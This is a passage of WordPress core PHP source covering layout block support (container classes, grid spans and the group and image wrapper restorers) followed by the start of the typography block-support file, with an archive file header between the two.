				'declarations' => array(
					'grid-template-columns' => 'repeat(auto-fill, minmax(min(' . $minimum_column_width . ', 100%), 1fr))',
					'container-type'        => 'inline-size',
				),
			);
		}

		if ( $has_block_gap_support && isset( $gap_value ) ) {
			$combined_gap_value = '';
			$gap_sides          = is_array( $gap_value ) ? array( 'top', 'left' ) : array( 'top' );

			foreach ( $gap_sides as $gap_side ) {
				$process_value = $gap_value;
				if ( is_array( $gap_value ) ) {
					$process_value = isset( $gap_value[ $gap_side ] ) ? $gap_value[ $gap_side ] : $fallback_gap_value;
				}
				// Get spacing CSS variable from preset value if provided.
				if ( is_string( $process_value ) && str_contains( $process_value, 'var:preset|spacing|' ) ) {
					$index_to_splice = strrpos( $process_value, '|' ) + 1;
					$slug            = _wp_to_kebab_case( substr( $process_value, $index_to_splice ) );
					$process_value   = "var(--wp--preset--spacing--$slug)";
				}
				$combined_gap_value .= "$process_value ";
			}
			$gap_value = trim( $combined_gap_value );

			if ( null !== $gap_value && ! $should_skip_gap_serialization ) {
				$layout_styles[] = array(
					'selector'     => $selector,
					'declarations' => array( 'gap' => $gap_value ),
				);
			}
		}
	}

	if ( ! empty( $layout_styles ) ) {
		/*
		 * Add to the style engine store to enqueue and render layout styles.
		 * Return compiled layout styles to retain backwards compatibility.
		 * Since https://github.com/WordPress/gutenberg/pull/42452,
		 * wp_enqueue_block_support_styles is no longer called in this block supports file.
		 */
		return wp_style_engine_get_stylesheet_from_css_rules(
			$layout_styles,
			array(
				'context'  => 'block-supports',
				'prettify' => false,
			)
		);
	}

	return '';
}

/**
 * Renders the layout config to the block wrapper.
 *
 * @since 5.8.0
 * @since 6.3.0 Adds compound class to layout wrapper for global spacing styles.
 * @since 6.3.0 Check for layout support via the `layout` key with fallback to `__experimentalLayout`.
 * @since 6.6.0 Removed duplicate container class from layout styles.
 * @access private
 *
 * @param string $block_content Rendered block content.
 * @param array  $block         Block object.
 * @return string Filtered block content.
 */
function wp_render_layout_support_flag( $block_content, $block ) {
	$block_type            = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] );
	$block_supports_layout = block_has_support( $block_type, 'layout', false ) || block_has_support( $block_type, '__experimentalLayout', false );
	$child_layout          = isset( $block['attrs']['style']['layout'] ) ? $block['attrs']['style']['layout'] : null;

	if ( ! $block_supports_layout && ! $child_layout ) {
		return $block_content;
	}

	$outer_class_names = array();

	// Child layout specific logic.
	if ( $child_layout ) {
		/*
		 * Generates a unique class for child block layout styles.
		 *
		 * To ensure consistent class generation across different page renders,
		 * only properties that affect layout styling are used. These properties
		 * come from `$block['attrs']['style']['layout']` and `$block['parentLayout']`.
		 *
		 * As long as these properties coincide, the generated class will be the same.
		 */
		$container_content_class = wp_unique_id_from_values(
			array(
				'layout'       => array_intersect_key(
					$block['attrs']['style']['layout'] ?? array(),
					array_flip(
						array( 'selfStretch', 'flexSize', 'columnStart', 'columnSpan', 'rowStart', 'rowSpan' )
					)
				),
				'parentLayout' => array_intersect_key(
					$block['parentLayout'] ?? array(),
					array_flip(
						array( 'minimumColumnWidth', 'columnCount' )
					)
				),
			),
			'wp-container-content-'
		);

		$child_layout_declarations = array();
		$child_layout_styles       = array();

		$self_stretch = isset( $child_layout['selfStretch'] ) ? $child_layout['selfStretch'] : null;

		if ( 'fixed' === $self_stretch && isset( $child_layout['flexSize'] ) ) {
			$child_layout_declarations['flex-basis'] = $child_layout['flexSize'];
			$child_layout_declarations['box-sizing'] = 'border-box';
		} elseif ( 'fill' === $self_stretch ) {
			$child_layout_declarations['flex-grow'] = '1';
		}

		if ( isset( $child_layout['columnSpan'] ) ) {
			$column_span                              = $child_layout['columnSpan'];
			$child_layout_declarations['grid-column'] = "span $column_span";
		}
		if ( isset( $child_layout['rowSpan'] ) ) {
			$row_span                              = $child_layout['rowSpan'];
			$child_layout_declarations['grid-row'] = "span $row_span";
		}
		$child_layout_styles[] = array(
			'selector'     => ".$container_content_class",
			'declarations' => $child_layout_declarations,
		);

		/*
		 * If columnSpan is set, and the parent grid is responsive, i.e. if it has a minimumColumnWidth set,
		 * the columnSpan should be removed on small grids. If there's a minimumColumnWidth, the grid is responsive.
		 * But if the minimumColumnWidth value wasn't changed, it won't be set. In that case, if columnCount doesn't
		 * exist, we can assume that the grid is responsive.
		 */
		if ( isset( $child_layout['columnSpan'] ) && ( isset( $block['parentLayout']['minimumColumnWidth'] ) || ! isset( $block['parentLayout']['columnCount'] ) ) ) {
			$column_span_number  = floatval( $child_layout['columnSpan'] );
			$parent_column_width = isset( $block['parentLayout']['minimumColumnWidth'] ) ? $block['parentLayout']['minimumColumnWidth'] : '12rem';
			$parent_column_value = floatval( $parent_column_width );
			$parent_column_unit  = explode( $parent_column_value, $parent_column_width );

			/*
			 * If there is no unit, the width has somehow been mangled so we reset both unit and value
			 * to defaults.
			 * Additionally, the unit should be one of px, rem or em, so that also needs to be checked.
			 */
			if ( count( $parent_column_unit ) <= 1 ) {
				$parent_column_unit  = 'rem';
				$parent_column_value = 12;
			} else {
				$parent_column_unit = $parent_column_unit[1];

				if ( ! in_array( $parent_column_unit, array( 'px', 'rem', 'em' ), true ) ) {
					$parent_column_unit = 'rem';
				}
			}

			/*
			 * A default gap value is used for this computation because custom gap values may not be
			 * viable to use in the computation of the container query value.
			 */
			$default_gap_value     = 'px' === $parent_column_unit ? 24 : 1.5;
			$container_query_value = $column_span_number * $parent_column_value + ( $column_span_number - 1 ) * $default_gap_value;
			$container_query_value = $container_query_value . $parent_column_unit;

			$child_layout_styles[] = array(
				'rules_group'  => "@container (max-width: $container_query_value )",
				'selector'     => ".$container_content_class",
				'declarations' => array(
					'grid-column' => '1/-1',
				),
			);
		}

		/*
		 * Add to the style engine store to enqueue and render layout styles.
		 * Return styles here just to check if any exist.
		 */
		$child_css = wp_style_engine_get_stylesheet_from_css_rules(
			$child_layout_styles,
			array(
				'context'  => 'block-supports',
				'prettify' => false,
			)
		);

		if ( $child_css ) {
			$outer_class_names[] = $container_content_class;
		}
	}

	// Prep the processor for modifying the block output.
	$processor = new WP_HTML_Tag_Processor( $block_content );

	// Having no tags implies there are no tags onto which to add class names.
	if ( ! $processor->next_tag() ) {
		return $block_content;
	}

	/*
	 * A block may not support layout but still be affected by a parent block's layout.
	 *
	 * In these cases add the appropriate class names and then return early; there's
	 * no need to investigate on this block whether additional layout constraints apply.
	 */
	if ( ! $block_supports_layout && ! empty( $outer_class_names ) ) {
		foreach ( $outer_class_names as $class_name ) {
			$processor->add_class( $class_name );
		}
		return $processor->get_updated_html();
	} elseif ( ! $block_supports_layout ) {
		// Ensure layout classnames are not injected if there is no layout support.
		return $block_content;
	}

	$global_settings = wp_get_global_settings();
	$fallback_layout = isset( $block_type->supports['layout']['default'] )
		? $block_type->supports['layout']['default']
		: array();
	if ( empty( $fallback_layout ) ) {
		$fallback_layout = isset( $block_type->supports['__experimentalLayout']['default'] )
			? $block_type->supports['__experimentalLayout']['default']
			: array();
	}
	$used_layout = isset( $block['attrs']['layout'] ) ? $block['attrs']['layout'] : $fallback_layout;

	$class_names        = array();
	$layout_definitions = wp_get_layout_definitions();

	// Set the correct layout type for blocks using legacy content width.
	if ( isset( $used_layout['inherit'] ) && $used_layout['inherit'] || isset( $used_layout['contentSize'] ) && $used_layout['contentSize'] ) {
		$used_layout['type'] = 'constrained';
	}

	$root_padding_aware_alignments = isset( $global_settings['useRootPaddingAwareAlignments'] )
		? $global_settings['useRootPaddingAwareAlignments']
		: false;

	if (
		$root_padding_aware_alignments &&
		isset( $used_layout['type'] ) &&
		'constrained' === $used_layout['type']
	) {
		$class_names[] = 'has-global-padding';
	}

	/*
	 * The following section was added to reintroduce a small set of layout classnames that were
	 * removed in the 5.9 release (https://github.com/WordPress/gutenberg/issues/38719). It is
	 * not intended to provide an extended set of classes to match all block layout attributes
	 * here.
	 */
	if ( ! empty( $block['attrs']['layout']['orientation'] ) ) {
		$class_names[] = 'is-' . sanitize_title( $block['attrs']['layout']['orientation'] );
	}

	if ( ! empty( $block['attrs']['layout']['justifyContent'] ) ) {
		$class_names[] = 'is-content-justification-' . sanitize_title( $block['attrs']['layout']['justifyContent'] );
	}

	if ( ! empty( $block['attrs']['layout']['flexWrap'] ) && 'nowrap' === $block['attrs']['layout']['flexWrap'] ) {
		$class_names[] = 'is-nowrap';
	}

	// Get classname for layout type.
	if ( isset( $used_layout['type'] ) ) {
		$layout_classname = isset( $layout_definitions[ $used_layout['type'] ]['className'] )
			? $layout_definitions[ $used_layout['type'] ]['className']
			: '';
	} else {
		$layout_classname = isset( $layout_definitions['default']['className'] )
			? $layout_definitions['default']['className']
			: '';
	}

	if ( $layout_classname && is_string( $layout_classname ) ) {
		$class_names[] = sanitize_title( $layout_classname );
	}

	/*
	 * Only generate Layout styles if the theme has not opted-out.
	 * Attribute-based Layout classnames are output in all cases.
	 */
	if ( ! current_theme_supports( 'disable-layout-styles' ) ) {

		$gap_value = isset( $block['attrs']['style']['spacing']['blockGap'] )
			? $block['attrs']['style']['spacing']['blockGap']
			: null;
		/*
		 * Skip if gap value contains unsupported characters.
		 * Regex for CSS value borrowed from `safecss_filter_attr`, and used here
		 * to only match against the value, not the CSS attribute.
		 */
		if ( is_array( $gap_value ) ) {
			foreach ( $gap_value as $key => $value ) {
				$gap_value[ $key ] = $value && preg_match( '%[\\\(&=}]|/\*%', $value ) ? null : $value;
			}
		} else {
			$gap_value = $gap_value && preg_match( '%[\\\(&=}]|/\*%', $gap_value ) ? null : $gap_value;
		}

		$fallback_gap_value = isset( $block_type->supports['spacing']['blockGap']['__experimentalDefault'] )
			? $block_type->supports['spacing']['blockGap']['__experimentalDefault']
			: '0.5em';
		$block_spacing      = isset( $block['attrs']['style']['spacing'] )
			? $block['attrs']['style']['spacing']
			: null;

		/*
		 * If a block's block.json skips serialization for spacing or spacing.blockGap,
		 * don't apply the user-defined value to the styles.
		 */
		$should_skip_gap_serialization = wp_should_skip_block_supports_serialization( $block_type, 'spacing', 'blockGap' );

		$block_gap             = isset( $global_settings['spacing']['blockGap'] )
			? $global_settings['spacing']['blockGap']
			: null;
		$has_block_gap_support = isset( $block_gap );

		/*
		 * Generates a unique ID based on all the data required to obtain the
		 * corresponding layout style. Keeps the CSS class names the same
		 * even for different blocks on different places, as long as they have
		 * the same layout definition. Makes the CSS class names stable across
		 * paginations for features like the enhanced pagination of the Query block.
		 */
		$container_class = wp_unique_id_from_values(
			array(
				$used_layout,
				$has_block_gap_support,
				$gap_value,
				$should_skip_gap_serialization,
				$fallback_gap_value,
				$block_spacing,
			),
			'wp-container-' . sanitize_title( $block['blockName'] ) . '-is-layout-'
		);

		$style = wp_get_layout_style(
			".$container_class",
			$used_layout,
			$has_block_gap_support,
			$gap_value,
			$should_skip_gap_serialization,
			$fallback_gap_value,
			$block_spacing
		);

		// Only add container class and enqueue block support styles if unique styles were generated.
		if ( ! empty( $style ) ) {
			$class_names[] = $container_class;
		}
	}

	// Add combined layout and block classname for global styles to hook onto.
	$split_block_name = explode( '/', $block['blockName'] );
	$full_block_name  = 'core' === $split_block_name[0] ? end( $split_block_name ) : implode( '-', $split_block_name );
	$class_names[]    = 'wp-block-' . $full_block_name . '-' . $layout_classname;

	// Add classes to the outermost HTML tag if necessary.
	if ( ! empty( $outer_class_names ) ) {
		foreach ( $outer_class_names as $outer_class_name ) {
			$processor->add_class( $outer_class_name );
		}
	}

	/**
	 * Attempts to refer to the inner-block wrapping element by its class attribute.
	 *
	 * When examining a block's inner content, if a block has inner blocks, then
	 * the first content item will likely be a text (HTML) chunk immediately
	 * preceding the inner blocks. The last HTML tag in that chunk would then be
	 * an opening tag for an element that wraps the inner blocks.
	 *
	 * There's no reliable way to associate this wrapper in $block_content because
	 * it may have changed during the rendering pipeline (as inner contents is
	 * provided before rendering) and through previous filters. In many cases,
	 * however, the `class` attribute will be a good-enough identifier, so this
	 * code finds the last tag in that chunk and stores the `class` attribute
	 * so that it can be used later when working through the rendered block output
	 * to identify the wrapping element and add the remaining class names to it.
	 *
	 * It's also possible that no inner block wrapper even exists. If that's the
	 * case this code could apply the class names to an invalid element.
	 *
	 * Example:
	 *
	 *     $block['innerBlocks']  = array( $list_item );
	 *     $block['innerContent'] = array( '<ul class="list-wrapper is-unordered">', null, '</ul>' );
	 *
	 *     // After rendering, the initial contents may have been modified by other renderers or filters.
	 *     $block_content = <<<HTML
	 *         <figure>
	 *             <ul class="annotated-list list-wrapper is-unordered">
	 *                 <li>Code</li>
	 *             </ul><figcaption>It's a list!</figcaption>
	 *         </figure>
	 *     HTML;
	 *
	 * Although it is possible that the original block-wrapper classes are changed in $block_content
	 * from how they appear in $block['innerContent'], it's likely that the original class attributes
	 * are still present in the wrapper as they are in this example. Frequently, additional classes
	 * will also be present; rarely should classes be removed.
	 *
	 * @todo Find a better way to match the first inner block. If it's possible to identify where the
	 *       first inner block starts, then it will be possible to find the last tag before it starts
	 *       and then that tag, if an opening tag, can be solidly identified as a wrapping element.
	 *       Can some unique value or class or ID be added to the inner blocks when they process
	 *       so that they can be extracted here safely without guessing? Can the block rendering function
	 *       return information about where the rendered inner blocks start?
	 *
	 * @var string|null
	 */
	$inner_block_wrapper_classes = null;
	$first_chunk                 = isset( $block['innerContent'][0] ) ? $block['innerContent'][0] : null;
	if ( is_string( $first_chunk ) && count( $block['innerContent'] ) > 1 ) {
		$first_chunk_processor = new WP_HTML_Tag_Processor( $first_chunk );
		while ( $first_chunk_processor->next_tag() ) {
			$class_attribute = $first_chunk_processor->get_attribute( 'class' );
			if ( is_string( $class_attribute ) && ! empty( $class_attribute ) ) {
				$inner_block_wrapper_classes = $class_attribute;
			}
		}
	}

	/*
	 * If necessary, advance to what is likely to be an inner block wrapper tag.
	 *
	 * This advances until it finds the first tag containing the original class
	 * attribute from above. If none is found it will scan to the end of the block
	 * and fail to add any class names.
	 *
	 * If there is no block wrapper it won't advance at all, in which case the
	 * class names will be added to the first and outermost tag of the block.
	 * For cases where this outermost tag is the only tag surrounding inner
	 * blocks then the outer wrapper and inner wrapper are the same.
	 */
	do {
		if ( ! $inner_block_wrapper_classes ) {
			break;
		}

		$class_attribute = $processor->get_attribute( 'class' );
		if ( is_string( $class_attribute ) && str_contains( $class_attribute, $inner_block_wrapper_classes ) ) {
			break;
		}
	} while ( $processor->next_tag() );

	// Add the remaining class names.
	foreach ( $class_names as $class_name ) {
		$processor->add_class( $class_name );
	}

	return $processor->get_updated_html();
}

/**
 * Check if the parent block exists and if it has a layout attribute.
 * If it does, add the parent layout to the parsed block
 *
 * @since 6.6.0
 * @access private
 *
 * @param array    $parsed_block The parsed block.
 * @param array    $source_block The source block.
 * @param WP_Block $parent_block The parent block.
 * @return array The parsed block with parent layout attribute if it exists.
 */
function wp_add_parent_layout_to_parsed_block( $parsed_block, $source_block, $parent_block ) {
	if ( $parent_block && isset( $parent_block->parsed_block['attrs']['layout'] ) ) {
		$parsed_block['parentLayout'] = $parent_block->parsed_block['attrs']['layout'];
	}
	return $parsed_block;
}

add_filter( 'render_block_data', 'wp_add_parent_layout_to_parsed_block', 10, 3 );

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'layout',
	array(
		'register_attribute' => 'wp_register_layout_support',
	)
);
add_filter( 'render_block', 'wp_render_layout_support_flag', 10, 2 );

/**
 * For themes without theme.json file, make sure
 * to restore the inner div for the group block
 * to avoid breaking styles relying on that div.
 *
 * @since 5.8.0
 * @since 6.6.1 Removed inner container from Grid variations.
 * @access private
 *
 * @param string $block_content Rendered block content.
 * @param array  $block         Block object.
 * @return string Filtered block content.
 */
function wp_restore_group_inner_container( $block_content, $block ) {
	$tag_name                         = isset( $block['attrs']['tagName'] ) ? $block['attrs']['tagName'] : 'div';
	$group_with_inner_container_regex = sprintf(
		'/(^\s*<%1$s\b[^>]*wp-block-group(\s|")[^>]*>)(\s*<div\b[^>]*wp-block-group__inner-container(\s|")[^>]*>)((.|\S|\s)*)/U',
		preg_quote( $tag_name, '/' )
	);

	if (
		wp_theme_has_theme_json() ||
		1 === preg_match( $group_with_inner_container_regex, $block_content ) ||
		( isset( $block['attrs']['layout']['type'] ) && ( 'flex' === $block['attrs']['layout']['type'] || 'grid' === $block['attrs']['layout']['type'] ) )
	) {
		return $block_content;
	}

	/*
	 * This filter runs after the layout classnames have been added to the block, so they
	 * have to be removed from the outer wrapper and then added to the inner.
	 */
	$layout_classes = array();
	$processor      = new WP_HTML_Tag_Processor( $block_content );

	if ( $processor->next_tag( array( 'class_name' => 'wp-block-group' ) ) ) {
		foreach ( $processor->class_list() as $class_name ) {
			if ( str_contains( $class_name, 'is-layout-' ) ) {
				$layout_classes[] = $class_name;
				$processor->remove_class( $class_name );
			}
		}
	}

	$content_without_layout_classes = $processor->get_updated_html();
	$replace_regex                  = sprintf(
		'/(^\s*<%1$s\b[^>]*wp-block-group[^>]*>)(.*)(<\/%1$s>\s*$)/ms',
		preg_quote( $tag_name, '/' )
	);
	$updated_content                = preg_replace_callback(
		$replace_regex,
		static function ( $matches ) {
			return $matches[1] . '<div class="wp-block-group__inner-container">' . $matches[2] . '</div>' . $matches[3];
		},
		$content_without_layout_classes
	);

	// Add layout classes to inner wrapper.
	if ( ! empty( $layout_classes ) ) {
		$processor = new WP_HTML_Tag_Processor( $updated_content );
		if ( $processor->next_tag( array( 'class_name' => 'wp-block-group__inner-container' ) ) ) {
			foreach ( $layout_classes as $class_name ) {
				$processor->add_class( $class_name );
			}
		}
		$updated_content = $processor->get_updated_html();
	}
	return $updated_content;
}

add_filter( 'render_block_core/group', 'wp_restore_group_inner_container', 10, 2 );

/**
 * For themes without theme.json file, make sure
 * to restore the outer div for the aligned image block
 * to avoid breaking styles relying on that div.
 *
 * @since 6.0.0
 * @access private
 *
 * @param string $block_content Rendered block content.
 * @param  array  $block        Block object.
 * @return string Filtered block content.
 */
function wp_restore_image_outer_container( $block_content, $block ) {
	if ( wp_theme_has_theme_json() ) {
		return $block_content;
	}

	$figure_processor = new WP_HTML_Tag_Processor( $block_content );
	if (
		! $figure_processor->next_tag( 'FIGURE' ) ||
		! $figure_processor->has_class( 'wp-block-image' ) ||
		! (
			$figure_processor->has_class( 'alignleft' ) ||
			$figure_processor->has_class( 'aligncenter' ) ||
			$figure_processor->has_class( 'alignright' )
		)
	) {
		return $block_content;
	}

	/*
	 * The next section of code wraps the existing figure in a new DIV element.
	 * While doing it, it needs to transfer the layout and the additional CSS
	 * class names from the original figure upward to the wrapper.
	 *
	 * Example:
	 *
	 *     // From this…
	 *     <!-- wp:image {"className":"hires"} -->
	 *     <figure class="wp-block-image wide hires">…
	 *
	 *     // To this…
	 *     <div class="wp-block-image hires"><figure class="wide">…
	 */
	$wrapper_processor = new WP_HTML_Tag_Processor( '<div>' );
	$wrapper_processor->next_token();
	$wrapper_processor->set_attribute(
		'class',
		is_string( $block['attrs']['className'] ?? null )
			? "wp-block-image {$block['attrs']['className']}"
			: 'wp-block-image'
	);

	// And remove them from the existing content; it has been transferred upward.
	$figure_processor->remove_class( 'wp-block-image' );
	foreach ( $wrapper_processor->class_list() as $class_name ) {
		$figure_processor->remove_class( $class_name );
	}

	return "{$wrapper_processor->get_updated_html()}{$figure_processor->get_updated_html()}</div>";
}

add_filter( 'render_block_core/image', 'wp_restore_image_outer_container', 10, 2 );
PK       ! Ut  Ut    typography.phpnu [        <?php
/**
 * Typography block support flag.
 *
 * @package WordPress
 * @since 5.6.0
 */

/**
 * Registers the style and typography block attributes for block types that support it.
 *
 * @since 5.6.0
 * @since 6.3.0 Added support for text-columns.
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_typography_support( $block_type ) {
	if ( ! ( $block_type instanceof WP_Block_Type ) ) {
		return;
	}

	$typography_supports = isset( $block_type->supports['typography'] ) ? $block_type->supports['typography'] : false;
	if ( ! $typography_supports ) {
		return;
	}

	$has_font_family_support     = isset( $typography_supports['__experimentalFontFamily'] ) ? $typography_supports['__experimentalFontFamily'] : false;
	$has_font_size_support       = isset( $typography_supports['fontSize'] ) ? $typography_supports['fontSize'] : false;
	$has_font_style_support      = isset( $typography_supports['__experimentalFontStyle'] ) ? $typography_supports['__experimentalFontStyle'] : false;
	$has_font_weight_support     = isset( $typography_supports['__experimentalFontWeight'] ) ? $typography_supports['__experimentalFontWeight'] : false;
	$has_letter_spacing_support  = isset( $typography_supports['__experimentalLetterSpacing'] ) ? $typography_supports['__experimentalLetterSpacing'] : false;
	$has_line_height_support     = isset( $typography_supports['lineHeight'] ) ? $typography_supports['lineHeight'] : false;
	$has_text_align_support      = isset( $typography_supports['textAlign'] ) ? $typography_supports['textAlign'] : false;
	$has_text_columns_support    = isset( $typography_supports['textColumns'] ) ? $typography_supports['textColumns'] : false;
	$has_text_decoration_support = isset( $typography_supports['__experimentalTextDecoration'] ) ? $typography_supports['__experimentalTextDecoration'] : false;
	$has_text_transform_support  = isset( $typography_supports['__experimentalTextTransform'] ) ? $typography_supports['__experimentalTextTransform'] : false;
	$has_writing_mode_support    = isset( $typography_supports['__experimentalWritingMode'] ) ? $typography_supports['__experimentalWritingMode'] : false;

	$has_typography_support = $has_font_family_support
		|| $has_font_size_support
		|| $has_font_style_support
		|| $has_font_weight_support
		|| $has_letter_spacing_support
		|| $has_line_height_support
		|| $has_text_align_support
		|| $has_text_columns_support
		|| $has_text_decoration_support
		|| $has_text_transform_support
		|| $has_writing_mode_support;

	if ( ! $block_type->attributes ) {
		$block_type->attributes = array();
	}

	if ( $has_typography_support && ! array_key_exists( 'style', $block_type->attributes ) ) {
		$block_type->attributes['style'] = array(
			'type' => 'object',
		);
	}

	if ( $has_font_size_support && ! array_key_exists( 'fontSize', $block_type->attributes ) ) {
		$block_type->attributes['fontSize'] = array(
			'type' => 'string',
		);
	}

	if ( $has_font_family_support && ! array_key_exists( 'fontFamily', $block_type->attributes ) ) {
		$block_type->attributes['fontFamily'] = array(
			'type' => 'string',
		);
	}
}

/**
 * Adds CSS classes and inline styles for typography features such as font sizes
 * to the incoming attributes array. This will be applied to the block markup in
 * the front-end.
 *
 * @since 5.6.0
 * @since 6.1.0 Used the style engine to generate CSS and classnames.
 * @since 6.3.0 Added support for text-columns.
 * @access private
 *
 * @param WP_Block_Type $block_type       Block type.
 * @param array         $block_attributes Block attributes.
 * @return array Typography CSS classes and inline styles.
 */
function wp_apply_typography_support( $block_type, $block_attributes ) {
	if ( ! ( $block_type instanceof WP_Block_Type ) ) {
		return array();
	}

	$typography_supports = isset( $block_type->supports['typography'] )
		? $block_type->supports['typography']
		: false;
	if ( ! $typography_supports ) {
		return array();
	}

	if ( wp_should_skip_block_supports_serialization( $block_type, 'typography' ) ) {
		return array();
	}

	$has_font_family_support     = isset( $typography_supports['__experimentalFontFamily'] ) ? $typography_supports['__experimentalFontFamily'] : false;
	$has_font_size_support       = isset( $typography_supports['fontSize'] ) ? $typography_supports['fontSize'] : false;
	$has_font_style_support      = isset( $typography_supports['__experimentalFontStyle'] ) ? $typography_supports['__experimentalFontStyle'] : false;
	$has_font_weight_support     = isset( $typography_supports['__experimentalFontWeight'] ) ? $typography_supports['__experimentalFontWeight'] : false;
	$has_letter_spacing_support  = isset( $typography_supports['__experimentalLetterSpacing'] ) ? $typography_supports['__experimentalLetterSpacing'] : false;
	$has_line_height_support     = isset( $typography_supports['lineHeight'] ) ? $typography_supports['lineHeight'] : false;
	$has_text_align_support      = isset( $typography_supports['textAlign'] ) ? $typography_supports['textAlign'] : false;
	$has_text_columns_support    = isset( $typography_supports['textColumns'] ) ? $typography_supports['textColumns'] : false;
	$has_text_decoration_support = isset( $typography_supports['__experimentalTextDecoration'] ) ? $typography_supports['__experimentalTextDecoration'] : false;
	$has_text_transform_support  = isset( $typography_supports['__experimentalTextTransform'] ) ? $typography_supports['__experimentalTextTransform'] : false;
	$has_writing_mode_support    = isset( $typography_supports['__experimentalWritingMode'] ) ? $typography_supports['__experimentalWritingMode'] : false;

	// Whether to skip individual block support features.
	$should_skip_font_size       = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'fontSize' );
	$should_skip_font_family     = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'fontFamily' );
	$should_skip_font_style      = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'fontStyle' );
	$should_skip_font_weight     = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'fontWeight' );
	$should_skip_line_height     = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'lineHeight' );
	$should_skip_text_align      = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'textAlign' );
	$should_skip_text_columns    = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'textColumns' );
	$should_skip_text_decoration = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'textDecoration' );
	$should_skip_text_transform  = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'textTransform' );
	$should_skip_letter_spacing  = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'letterSpacing' );
	$should_skip_writing_mode    = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'writingMode' );

	$typography_block_styles = array();
	if ( $has_font_size_support && ! $should_skip_font_size ) {
		$preset_font_size                    = array_key_exists( 'fontSize', $block_attributes )
			? "var:preset|font-size|{$block_attributes['fontSize']}"
			: null;
		$custom_font_size                    = isset( $block_attributes['style']['typography']['fontSize'] )
			? $block_attributes['style']['typography']['fontSize']
			: null;
		$typography_block_styles['fontSize'] = $preset_font_size ? $preset_font_size : wp_get_typography_font_size_value(
			array(
				'size' => $custom_font_size,
			)
		);
	}

	if ( $has_font_family_support && ! $should_skip_font_family ) {
		$preset_font_family                    = array_key_exists( 'fontFamily', $block_attributes )
			? "var:preset|font-family|{$block_attributes['fontFamily']}"
			: null;
		$custom_font_family                    = isset( $block_attributes['style']['typography']['fontFamily'] )
			? wp_typography_get_preset_inline_style_value( $block_attributes['style']['typography']['fontFamily'], 'font-family' )
			: null;
		$typography_block_styles['fontFamily'] = $preset_font_family ? $preset_font_family : $custom_font_family;
	}

	if (
		$has_font_style_support &&
		! $should_skip_font_style &&
		isset( $block_attributes['style']['typography']['fontStyle'] )
	) {
		$typography_block_styles['fontStyle'] = wp_typography_get_preset_inline_style_value(
			$block_attributes['style']['typography']['fontStyle'],
			'font-style'
		);
	}

	if (
		$has_font_weight_support &&
		! $should_skip_font_weight &&
		isset( $block_attributes['style']['typography']['fontWeight'] )
	) {
		$typography_block_styles['fontWeight'] = wp_typography_get_preset_inline_style_value(
			$block_attributes['style']['typography']['fontWeight'],
			'font-weight'
		);
	}

	if ( $has_line_height_support && ! $should_skip_line_height ) {
		$typography_block_styles['lineHeight'] = isset( $block_attributes['style']['typography']['lineHeight'] )
			? $block_attributes['style']['typography']['lineHeight']
			: null;
	}

	if ( $has_text_align_support && ! $should_skip_text_align ) {
		$typography_block_styles['textAlign'] = isset( $block_attributes['style']['typography']['textAlign'] )
			? $block_attributes['style']['typography']['textAlign']
			: null;
	}

	if ( $has_text_columns_support && ! $should_skip_text_columns && isset( $block_attributes['style']['typography']['textColumns'] ) ) {
		$typography_block_styles['textColumns'] = isset( $block_attributes['style']['typography']['textColumns'] )
			? $block_attributes['style']['typography']['textColumns']
			: null;
	}

	if (
		$has_text_decoration_support &&
		! $should_skip_text_decoration &&
		isset( $block_attributes['style']['typography']['textDecoration'] )
	) {
		$typography_block_styles['textDecoration'] = wp_typography_get_preset_inline_style_value(
			$block_attributes['style']['typography']['textDecoration'],
			'text-decoration'
		);
	}

	if (
		$has_text_transform_support &&
		! $should_skip_text_transform &&
		isset( $block_attributes['style']['typography']['textTransform'] )
	) {
		$typography_block_styles['textTransform'] = wp_typography_get_preset_inline_style_value(
			$block_attributes['style']['typography']['textTransform'],
			'text-transform'
		);
	}

	if (
		$has_letter_spacing_support &&
		! $should_skip_letter_spacing &&
		isset( $block_attributes['style']['typography']['letterSpacing'] )
	) {
		$typography_block_styles['letterSpacing'] = wp_typography_get_preset_inline_style_value(
			$block_attributes['style']['typography']['letterSpacing'],
			'letter-spacing'
		);
	}

	if ( $has_writing_mode_support &&
		! $should_skip_writing_mode &&
		isset( $block_attributes['style']['typography']['writingMode'] )
	) {
		$typography_block_styles['writingMode'] = isset( $block_attributes['style']['typography']['writingMode'] )
			? $block_attributes['style']['typography']['writingMode']
			: null;
	}

	$attributes = array();
	$classnames = array();
	$styles     = wp_style_engine_get_styles(
		array( 'typography' => $typography_block_styles ),
		array( 'convert_vars_to_classnames' => true )
	);

	if ( ! empty( $styles['classnames'] ) ) {
		$classnames[] = $styles['classnames'];
	}

	if ( $has_text_align_support && ! $should_skip_text_align && isset( $block_attributes['style']['typography']['textAlign'] ) ) {
		$classnames[] = 'has-text-align-' . $block_attributes['style']['typography']['textAlign'];
	}

	if ( ! empty( $classnames ) ) {
		$attributes['class'] = implode( ' ', $classnames );
	}

	if ( ! empty( $styles['css'] ) ) {
		$attributes['style'] = $styles['css'];
	}

	return $attributes;
}

/**
 * Generates an inline style value for a typography feature e.g. text decoration,
 * text transform, and font style.
 *
 * Note: This function is for backwards compatibility.
 * * It is necessary to parse older blocks whose typography styles contain presets.
 * * It mostly replaces the deprecated `wp_typography_get_css_variable_inline_style()`,
 *   but skips compiling a CSS declaration as the style engine takes over this role.
 * @link https://github.com/wordpress/gutenberg/pull/27555
 *
 * @since 6.1.0
 *
 * @param string $style_value  A raw style value for a single typography feature from a block's style attribute.
 * @param string $css_property Slug for the CSS property the inline style sets.
 * @return string A CSS inline style value.
 */
function wp_typography_get_preset_inline_style_value( $style_value, $css_property ) {
	// If the style value is not a preset CSS variable go no further.
	if ( empty( $style_value ) || ! str_contains( $style_value, "var:preset|{$css_property}|" ) ) {
		return $style_value;
	}

	/*
	 * For backwards compatibility.
	 * Presets were removed in WordPress/gutenberg#27555.
	 * A preset CSS variable is the style.
